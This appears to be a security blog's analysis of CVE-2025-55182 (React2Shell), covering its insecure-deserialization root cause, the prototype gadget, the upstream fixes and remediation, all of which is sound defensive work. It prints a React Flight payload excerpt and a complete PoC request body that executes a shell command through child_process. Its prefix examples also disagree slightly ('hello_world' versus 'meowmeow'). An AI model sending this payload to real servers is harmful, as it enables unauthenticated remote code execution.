CVE Analysis: Deconstructing React2Shell (CVE-2025-55182)
React2Shell (CVE-2025-55182) is an unauthenticated remote code execution (RCE) vulnerability affecting React Server Components (RSC). In vulnerable setups, an attacker can send a specially crafted request that is deserialized and executed on the server, leading directly to arbitrary code execution, without any prior authentication.
This analysis walks through the vulnerability in plain language first, then in technical terms, and finally reviews the proof of concept (PoC), root cause, and remediation strategies.
Background: How React Server Components Communicate
React is widely known as a frontend library, but React Server Components introduce a server-side execution model. Instead of shipping all logic to the browser, certain components and functions live on the server and are invoked from the client.
Several popular frameworks and tooling ecosystems implement RSC and were impacted by this issue: next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc and rwsdk.
As soon as the issue became public, major cloud providers and edge platforms (such as Cloudflare, Vercel, and AWS) deployed additional protections and WAF rules to block known exploit patterns. These mitigations reduce exposure but do not eliminate the underlying bug in vulnerable deployments.
Intuition: The Restaurant Analogy
Consider a restaurant:
- The server is the kitchen.
- The client is the customer.
- React server functions are the menu items.
Normally, a customer points at a menu item (for example, “Burger”). The waiter writes “Burger” on an order slip (the HTTP request) and takes it to the kitchen. The kitchen reads the slip and cooks that item.
Now imagine the kitchen has a dangerous rule:
“We will cook anything written on the slip. No questions asked.”
An attacker ignores the menu, writes their own custom instructions on the slip, and hands it to the waiter. The kitchen dutifully follows those instructions.
This is essentially what happens in React2Shell: the server blindly trusts structured data coming from the client and interprets it in a way that can lead to arbitrary code execution.
Insecure Deserialization in a Modern Stack
At its core, React2Shell is a classic Insecure Deserialization vulnerability, manifested in the communication layer between the React client (browser) and the server runtime.
Normal Flow
When a user interacts with a React application, for example, clicking a Save button, React needs to ask the server to run a specific function with some data:
- Example logical call:
saveUser({ name: "John" })
Because the browser and the server run on different machines, React cannot directly invoke the function. Instead, it:
- Serializes the function call and arguments into a text-based format (typically JSON-like), following the React Flight Protocol used by React Server Components.
- Sends this serialized payload in an HTTP request to the server.
- On the server, the React runtime deserializes this data back into internal structures so it can locate the appropriate module and function and then execute it.
The Vulnerable Behavior
The vulnerability lies in what happens during deserialization and module resolution:
- The server receives the serialized payload.
- It reconstructs internal objects from that data.
- It then resolves which function or export to access.
In vulnerable versions, this resolution process trusted attacker-controlled fields too much. An unauthenticated client could craft a payload that:
- Manipulates internal references.
- Causes the server to treat attacker-controlled objects as legitimate promises or modules.
- Ultimately reaches powerful JavaScript primitives such as the
Functionconstructor and system shell commands (for example,/bin/sh).
Once that happens, the boundary between “data” and “code” collapses, and remote code execution becomes possible.
React Flight Payload as an Exploit
A public proof of concept demonstrates how this vulnerability can be weaponized using raw React Flight protocol payloads.
Unlike a standard JavaScript file, the PoC payload is a carefully structured stream of React Flight “chunks” and references. A simplified excerpt looks like this:
0="$1"
&1={
"status":"resolved_model",
"reason":0,
"_response":"$5",
"value":"{\\"then\\":\\"$4:map\\",\\"0\\":{\\"then\\":\\"$B3\\"},\\"length\\":1}",
"then":"$2:then"
}
&2="@$3"
&3=""
&4=[]
&5={
"_prefix":"console.log('hello_world')//",
"_formData":{
"get":"$4:constructor:constructor"
},
"_chunks":"$2:_response:_chunks",
"_bundlerConfig":{}
}
Conceptually:
0=...,&1=..., etc. define chunks and segments of a React Flight response."$1","$2","$4"and similar markers are references to other chunks or objects.- The
:operator (for example,"$4:constructor:constructor") traverses properties on those referenced objects.
Where the Malicious Logic Lives
The key section is &5:
"_prefix": "console.log('meowmeow')//"embeds attacker-controlled JavaScript.- The server uses
_prefixas part of building a function or code snippet. - Instead of treating
_prefixas inert data, the server effectively concatenates it into executable code.
As a result, the server ends up executing:
console.log('meowmeow')// ...rest of legitimate code
The trailing // comments out the remaining legitimate code to prevent parse errors while ensuring the attacker’s code still runs.
The “Gadget”: "$4:constructor:constructor"
Another critical piece in &5 is:
"get": "$4:constructor:constructor"
Translated:
- Start from the object referenced by
$4. - Access its
constructorproperty. - Then access that constructor’s
constructoragain.
In JavaScript:
- Every object has a
constructorvia its prototype chain. - The
constructorof a function is often the globalFunctionconstructor.
By chaining constructor:constructor, the payload effectively obtains a reference to the powerful Function constructor. Given a Function like:
Function("console.log('meowmeow')")
the runtime can turn any string into executable JavaScript. This is the classic “gadget” used to jump from data to code.
Language-Level Root Cause: Duck Typing and Prototypes
A public post by Guillermo Rauch summarizes the deeper language-level issues involved.
Two JavaScript features are heavily abused here:
- Prototypal inheritance and dynamic code execution
- Objects inherit properties like
constructor,__proto__, andprototypefrom their prototypes. - JavaScript allows evaluating arbitrary code at runtime through
eval-like capabilities and theFunctionconstructor.
- Objects inherit properties like
Duck typing From the well-known “duck test”:
“If it walks like a duck and it quacks like a duck, then it must be a duck.”
In JavaScript, if an object “quacks like a Promise”, that is, it has a .then method, many systems will treat it as a thenable and try to await it.
The exploit combines both:
- By creating objects that expose a
thenproperty, the payload convinces React that the data is a Promise-like value that should be awaited. - By walking up the prototype chain with
constructor:constructor, it reaches theFunctionconstructor, turning serialized text into executable code.
In short, the vulnerability leverages JavaScript’s dynamic nature and the runtime’s trust in “duck-typed” objects.
The Code Bug: Blind Property Access in ReactFlightServer
At the implementation level, the root cause was in the React server runtime, particularly in a function responsible for resolving module exports (e.g., mapping serialized metadata to actual server functions).
A simplified, vulnerable pattern looks like this:
// metadata[NAME] is attacker-controlled input (for example, "constructor")
function resolveModule(moduleExports, metadata) {
// Problem: no validation of the export name
const exportName = metadata[NAME];
return moduleExports[exportName];
}
Here:
metadata[NAME]is derived from untrusted client data.- If the attacker asks for
"save", the runtime returnsmoduleExports["save"](the expected function). - But if the attacker asks for
"constructor", the runtime returnsmoduleExports.constructor, potentially exposing powerful constructors or prototype chain objects.
This blind property access is what enables the exploit to escape the intended export surface.
The Fixes: Guardrails and Proxies
To mitigate the vulnerability, the React team introduced two important defenses.
Primary Fix: hasOwnProperty Guard
The first change was to ensure that only own properties of the module exports can be resolved:
if ([Object.prototype.hasOwnProperty.call](<http://Object.prototype.hasOwnProperty.call>)(moduleExports, exportName)) {
return moduleExports[exportName];
}
// Otherwise, treat as invalid
Why this works:
- Properties like
constructor,__proto__, andprototypegenerally live on the object’s prototype, not as own properties. - By restricting resolution to own properties, the runtime refuses to give out inherited properties that were never intended to be valid exports.
This sharply narrows the attack surface and blocks the direct path to the Function constructor.
Secondary Defense: Proxy-Based Hardening
Newer versions of the React Server runtime also wrap the module map inside a JavaScript Proxy:
- Every property access goes through the Proxy.
- The Proxy is configured to return
undefinedfor any key that is not present in a predefined, safe manifest.
Impact:
- Even if an attacker asks for
.then,.constructor, or any other unexpected key, the Proxy reports that the property does not exist. - This prevents the “duck typing” trick where an attacker tries to make arbitrary objects look like Promises or gain access to sensitive internals.
Together, these defenses address both the immediate exploit path and a broader class of similar attacks.
Exploitation
Manual exploitation - An attacker hand-crafts React Flight payloads, carefully assembling chunks and references until the server interprets them as a valid but malicious stream. This requires deep understanding of the protocol and runtime behavior.

POC Request Body:
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(id)').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--Impact and Risk
Because the vulnerability enables unauthenticated RCE:
- Any internet-exposed RSC endpoint running vulnerable versions is a high-value target.
- Successful exploitation can result in:
- Full compromise of the underlying application server.
- Data theft or modification.
- Deployment of backdoors, cryptominers, or lateral movement inside the environment.
Remediation and Hardening Guidance
To mitigate CVE-2025-55182 and similar issues:
- Upgrade React and affected frameworks
Update React, Next.js, and any RSC-compatible bundlers (like Vite or Parcel) to the latest stable versions. crucial step: ensure you regenerate package-lock.json and rebuild production container images to confirm the patched code is actually deployed.
- Review server exposure
Do not expose Server Component endpoints directly to the public internet if avoidable. Place them behind a reverse proxy or API gateway to enforce strict access controls and reduce the attack surface.
- Leverage WAF and runtime protections
Configure your Web Application Firewall to inspect traffic for the specific signatures of this exploit. Block requests containing suspicious React Flight protocol patterns or anomalous serialized objects before they reach your application logic.
- Adopt secure deserialization practices
Abandon dynamic property resolution in your server-side code. Instead of trusting client inputs to map directly to function names, implement strict allowlists that explicitly define which server functions can be invoked.
- Monitor and log aggressively
Set up aggressive logging for deserialization errors and configure alerts for dangerous behavior within the RSC context, such as unexpected calls to Function(), eval(), or shell command execution.
Conclusion
React2Shell (CVE-2025-55182) demonstrates how a subtle combination of insecure deserialization, and JavaScript’s dynamic features can escalate into a critical unauthenticated RCE vulnerability.
By understanding the data flow, from client interactions, through React Flight serialization, to module resolution on the server, defenders can better evaluate their exposure and respond effectively. The upstream fixes in React, combined with timely framework updates and good defensive engineering around deserialization, are essential to closing this class of attack.